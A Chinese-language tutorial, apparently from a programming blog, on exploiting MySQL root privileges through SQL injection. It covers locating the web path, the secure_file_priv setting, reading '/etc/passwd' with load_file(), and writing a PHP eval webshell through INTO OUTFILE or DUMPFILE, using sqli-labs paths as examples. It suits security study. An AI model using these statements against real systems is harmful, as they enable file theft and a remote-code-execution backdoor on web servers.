MySQL手注之root权限的处理

2021/4/11 19:25:59

本文主要是介绍MySQL手注之root权限的处理,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

一、什么是root权限?有什么用?

  MySQL数据库默认有⼀个⽤户是Root,其权限默认是⾮常⾼的,在数据库默认配置下,Root⽤户是可以对⽹站的⼀些⽬录进⾏读写操作的。如果当前连接的mysql⽤户为root权限,在具有读写权限的前提下,我们是可以通过写⼊⼀句话⽊马到⽹站⽬录来获取⽹站权限的,也就是webshell。

 

二、如何获取物理路径?

  1.报错,比如加单引号

  2.phpinfo页面

  3.猜测

  4.爆破,将各种厂商的默认路径收集在一起,并测试每项是否正确。

三、secure_file_priv参数有什么用?什么版本之后会有差异?如何查看secure_file_priv参数的值?

  1.secure-file-priv 参数是⽤来限制LOAD DATA, SELECT ... > OUTFILE, and LOAD_FILE()传到某个指定⽬录的。

    当 secure_file_priv 的值为null ,表⽰限制mysqld 不允许导⼊|导出

    当 secure_file_priv 的值为/tmp/ ,表⽰限制mysqld 的导⼊|导出只能发⽣在/tmp/⽬录下

    当 secure_file_priv 的值没有具体值时,即 ' ' ,表⽰不对mysqld 的导⼊|导出做限制。

  2. 在5.5.53之前的版本是 secure_file_priv 变量默认为空,⾼于5.5时,mysql新出了⼀个 secure-file-priv 字段,所以注入之前一定要先判断数据库版本

  3.使用show global variables like '%secure%' 查看值

四、Mysql如何读文件?

   使用load_file()函数读取文件

      select load_file('/etc/passwd');【物理路径】

      select load_file(0x2F6574632F706173737764);【十六进制路径】(解码之前一定要去掉0x)

五、Mysql如何写文件?

    1.INTO OUTFILE函数,其在写⽂件时会在每⼀⾏的结束⾃动加上换⾏符

      select '[一句话木马]' into outfile '物理路径//file_name'    #以上步骤完成之后就成功获取了一个webshell,这之后就可以用webshell管理工具进行安排了。

        实例: Select <?php @eval($_POST['mima']) ?>  into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\sqli-labs\\Less-7\\muma.php'

      扩展

        select * from tdb_goods where goods_id=1 into outfile "/var/www/html/muma.php" LINES STARTING BY '' 

         LINES STARTING BY '写⼊的内容' 设置每⾏数据开头的字符,可以为单个或多个字符。默认情况下不使⽤任何字符。

         LINES TERMINATED BY '写⼊的内容' 设置每⾏数据结尾的字符,可以为单个或多个字符。默认值是"\n"。

    2.INTO DUMPFILE函数,其在写⽂件会保持⽂件得到原⽣内容,这种⽅式对于⼆进制⽂件是最好的选择

      select '[一句话木马]' into dumpfile '物理路径//file_name' #值得注意的是,file_name不能是一个已经存在的文件。

        实例:Select <?php @eval($_POST['mima']) ?>  into dumpfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\sqli-labs\\Less-7\\muma.php'

六、在实际的注入中,我们有哪两个难点需要解决?

    1.有效的物理路径

      很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径,常用路径有https://www.cnblogs.com/lcamry/p/5729087.html

    2.构造有效的畸形语句(报错爆出绝对路径)

七、请简要分析一句话木马 <?php @eval($_POST['cmd']) ?>

  1.@eval()函数,接受一个参数,将字符串作为PHP代码执行

  2.$_POST['cmd'],POST为http请求方法,cmd为webshell管理工具连接时需要使用的密码。

 



这篇关于MySQL手注之root权限的处理的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程